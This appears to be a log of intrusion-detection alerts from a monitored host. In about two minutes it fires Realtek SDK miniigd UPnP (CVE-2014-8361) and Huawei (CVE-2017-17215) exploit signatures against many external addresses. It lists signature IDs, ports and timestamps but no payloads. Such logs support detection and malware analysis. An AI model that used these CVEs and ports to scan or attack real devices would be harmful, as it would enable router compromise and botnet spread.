ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 45.144.124.12

Timestamp:	07/20/24-23:01:31.320679
SID:	2027339
Source Port:	57774
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.164.227.86

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	52556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 183.125.8.233

Timestamp:	07/20/24-23:01:10.517854
SID:	2025132
Source Port:	58038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 142.215.251.21

Timestamp:	07/20/24-23:01:43.243266
SID:	2025132
Source Port:	59672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.38.216.11

Timestamp:	07/20/24-23:01:26.734319
SID:	2027339
Source Port:	51386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 155.220.6.134

Timestamp:	07/20/24-23:01:31.318207
SID:	2831300
Source Port:	33038
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.213.94

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	51016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.102.1.140

Timestamp:	07/20/24-23:01:44.001231
SID:	2027339
Source Port:	46446
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.195.26.201

Timestamp:	07/20/24-23:01:49.172806
SID:	2027339
Source Port:	35860
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.211.13.100

Timestamp:	07/20/24-23:01:08.638879
SID:	2831300
Source Port:	56182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 37.233.245.194

Timestamp:	07/20/24-23:01:27.653586
SID:	2835222
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.75.39.95

Timestamp:	07/20/24-23:01:31.983105
SID:	2829579
Source Port:	58644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.140.184.210

Timestamp:	07/20/24-23:01:45.713934
SID:	2027339
Source Port:	42144
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.47.158

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	54070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.34.53.233

Timestamp:	07/20/24-23:01:20.593640
SID:	2831300
Source Port:	58574
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.199.180.209

Timestamp:	07/20/24-23:01:45.095767
SID:	2025132
Source Port:	35972
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.211.77.112

Timestamp:	07/20/24-23:00:59.175742
SID:	2835222
Source Port:	58932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.229.219.185

Timestamp:	07/20/24-23:01:04.982233
SID:	2025132
Source Port:	33924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.211.191.173

Timestamp:	07/20/24-23:01:44.814790
SID:	2027339
Source Port:	55022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.128.19.202

Timestamp:	07/20/24-23:01:47.990801
SID:	2025132
Source Port:	43992
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.127.2.156

Timestamp:	07/20/24-23:01:42.115230
SID:	2831300
Source Port:	60698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.50.131.250

Timestamp:	07/20/24-23:01:47.798104
SID:	2027339
Source Port:	44152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.182.169.174

Timestamp:	07/20/24-23:01:50.169961
SID:	2831300
Source Port:	43394
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 162.118.10.225

Timestamp:	07/20/24-23:01:07.018425
SID:	2835222
Source Port:	59276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 19.135.72.216

Timestamp:	07/20/24-23:01:42.616435
SID:	2027339
Source Port:	50026
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.33.239.16

Timestamp:	07/20/24-23:01:42.758954
SID:	2027339
Source Port:	60556
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.52.23.162

Timestamp:	07/20/24-23:01:58.624224
SID:	2027339
Source Port:	60474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.112.202.180

Timestamp:	07/20/24-23:01:08.565610
SID:	2027339
Source Port:	60398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.207.42.25

Timestamp:	07/20/24-23:01:42.422050
SID:	2027339
Source Port:	60960
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.205.27.15

Timestamp:	07/20/24-23:01:47.644828
SID:	2027339
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.254.84.115

Timestamp:	07/20/24-23:01:08.626717
SID:	2027339
Source Port:	34632
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.245.29.116

Timestamp:	07/20/24-23:01:58.249042
SID:	2831300
Source Port:	33212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.28.132.38

Timestamp:	07/20/24-23:02:51.152216
SID:	2027339
Source Port:	51020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 73.65.166.64

Timestamp:	07/20/24-23:02:53.715694
SID:	2025132
Source Port:	38326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.58.91.210

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	46666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 97.80.44.168

Timestamp:	07/20/24-23:01:46.512162
SID:	2025132
Source Port:	36844
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.33.245.21

Timestamp:	07/20/24-23:00:59.204975
SID:	2829579
Source Port:	39976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.242.179.170

Timestamp:	07/20/24-23:01:54.562310
SID:	2027339
Source Port:	35350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.143.175.164

Timestamp:	07/20/24-23:00:57.221530
SID:	2829579
Source Port:	57708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.183.54.123

Timestamp:	07/20/24-23:01:41.648203
SID:	2831300
Source Port:	41728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.27.123.11

Timestamp:	07/20/24-23:01:27.677519
SID:	2835222
Source Port:	40634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.88.79

Timestamp:	07/20/24-23:00:57.222091
SID:	2835222
Source Port:	55906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 218.167.11.188

Timestamp:	07/20/24-23:01:01.892361
SID:	2025132
Source Port:	57358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.225.66.116

Timestamp:	07/20/24-23:02:07.942303
SID:	2025132
Source Port:	53118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.131.75.237

Timestamp:	07/20/24-23:01:31.320338
SID:	2027339
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.189.198.237

Timestamp:	07/20/24-23:01:12.806062
SID:	2027339
Source Port:	46250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.157.163.186

Timestamp:	07/20/24-23:01:25.484881
SID:	2025132
Source Port:	59906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.9.123.124

Timestamp:	07/20/24-23:01:41.370228
SID:	2027339
Source Port:	58642
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.1.18.208

Timestamp:	07/20/24-23:01:43.182734
SID:	2025132
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.77.183.106

Timestamp:	07/20/24-23:02:01.256492
SID:	2025132
Source Port:	51580
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 14.149.133.62

Timestamp:	07/20/24-23:02:20.472956
SID:	2831300
Source Port:	56140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 133.73.57.190

Timestamp:	07/20/24-23:01:45.887574
SID:	2025132
Source Port:	58218
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.96.236.62

Timestamp:	07/20/24-23:01:53.384793
SID:	2025132
Source Port:	46206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.36.21

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	59984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 158.249.141.193

Timestamp:	07/20/24-23:01:52.735812
SID:	2831300
Source Port:	41760
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.218.170.227

Timestamp:	07/20/24-23:01:42.262355
SID:	2025132
Source Port:	34778
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 60.49.240.179

Timestamp:	07/20/24-23:01:11.822392
SID:	2829579
Source Port:	46852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 123.137.152.162

Timestamp:	07/20/24-23:02:37.123706
SID:	2025132
Source Port:	36914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.79.195.70

Timestamp:	07/20/24-23:01:01.326437
SID:	2027339
Source Port:	48448
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 96.158.44.47

Timestamp:	07/20/24-23:02:02.537098
SID:	2027339
Source Port:	41216
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 148.211.13.100

Timestamp:	07/20/24-23:01:03.247233
SID:	2025132
Source Port:	53918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.253.24.216

Timestamp:	07/20/24-23:01:04.228868
SID:	2829579
Source Port:	33362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.131.47.204

Timestamp:	07/20/24-23:01:43.190671
SID:	2025132
Source Port:	45934
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.111.23.136

Timestamp:	07/20/24-23:01:20.110860
SID:	2835222
Source Port:	58438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.241.189.22

Timestamp:	07/20/24-23:01:50.798234
SID:	2027339
Source Port:	56576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.245.127.235

Timestamp:	07/20/24-23:01:44.839991
SID:	2027339
Source Port:	38150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.38.58.237

Timestamp:	07/20/24-23:01:04.064240
SID:	2835222
Source Port:	56680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.107.25.12

Timestamp:	07/20/24-23:01:02.504282
SID:	2025132
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.161.162.111

Timestamp:	07/20/24-23:01:04.064240
SID:	2835222
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 83.201.55.21

Timestamp:	07/20/24-23:01:20.132103
SID:	2829579
Source Port:	40700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.242.14.128

Timestamp:	07/20/24-23:01:43.111685
SID:	2027339
Source Port:	39226
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.234.94.36

Timestamp:	07/20/24-23:01:42.042815
SID:	2027339
Source Port:	51644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 141.3.146.221

Timestamp:	07/20/24-23:01:51.266338
SID:	2025132
Source Port:	59852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.17.25.163

Timestamp:	07/20/24-23:01:31.333805
SID:	2027339
Source Port:	47398
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.51.195

Timestamp:	07/20/24-23:00:59.157444
SID:	2829579
Source Port:	52842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.124.39.209

Timestamp:	07/20/24-23:01:43.425298
SID:	2027339
Source Port:	43806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.99.221

Timestamp:	07/20/24-23:01:06.989167
SID:	2829579
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.91.11.144

Timestamp:	07/20/24-23:01:42.672378
SID:	2831300
Source Port:	40310
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 2.228.199.145

Timestamp:	07/20/24-23:01:27.650643
SID:	2829579
Source Port:	57514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:50.903844
SID:	2831300
Source Port:	40620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 188.56.34.102

Timestamp:	07/20/24-23:01:57.787786
SID:	2027339
Source Port:	41992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.160.155.29

Timestamp:	07/20/24-23:01:24.916250
SID:	2829579
Source Port:	34934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.234.115.27

Timestamp:	07/20/24-23:01:02.079114
SID:	2835222
Source Port:	53940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 90.115.47.151

Timestamp:	07/20/24-23:01:02.048113
SID:	2829579
Source Port:	55316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 206.50.68.232

Timestamp:	07/20/24-23:01:52.686542
SID:	2831300
Source Port:	51606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.244.111.55

Timestamp:	07/20/24-23:01:48.560945
SID:	2025132
Source Port:	43414
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 173.164.252.237

Timestamp:	07/20/24-23:01:04.039129
SID:	2829579
Source Port:	52762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.198.127.136

Timestamp:	07/20/24-23:01:47.005094
SID:	2027339
Source Port:	49358
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.183.23.205

Timestamp:	07/20/24-23:01:34.048618
SID:	2835222
Source Port:	49156
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 179.40.74.15

Timestamp:	07/20/24-23:01:31.312311
SID:	2027339
Source Port:	44086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.184.252.189

Timestamp:	07/20/24-23:01:41.750477
SID:	2027339
Source Port:	37158
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 180.49.147.96

Timestamp:	07/20/24-23:01:43.209467
SID:	2025132
Source Port:	43906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.186.207.187

Timestamp:	07/20/24-23:01:43.944379
SID:	2025132
Source Port:	33872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.127.30.131

Timestamp:	07/20/24-23:01:56.353592
SID:	2027339
Source Port:	46456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.158.235.29

Timestamp:	07/20/24-23:01:07.033766
SID:	2829579
Source Port:	40060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.121.114.198

Timestamp:	07/20/24-23:01:53.494330
SID:	2025132
Source Port:	60812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.35.212.13

Timestamp:	07/20/24-23:01:21.936545
SID:	2829579
Source Port:	42860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.241.92.58

Timestamp:	07/20/24-23:01:52.447066
SID:	2027339
Source Port:	55858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.59.254.237

Timestamp:	07/20/24-23:01:41.991545
SID:	2027339
Source Port:	55570
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

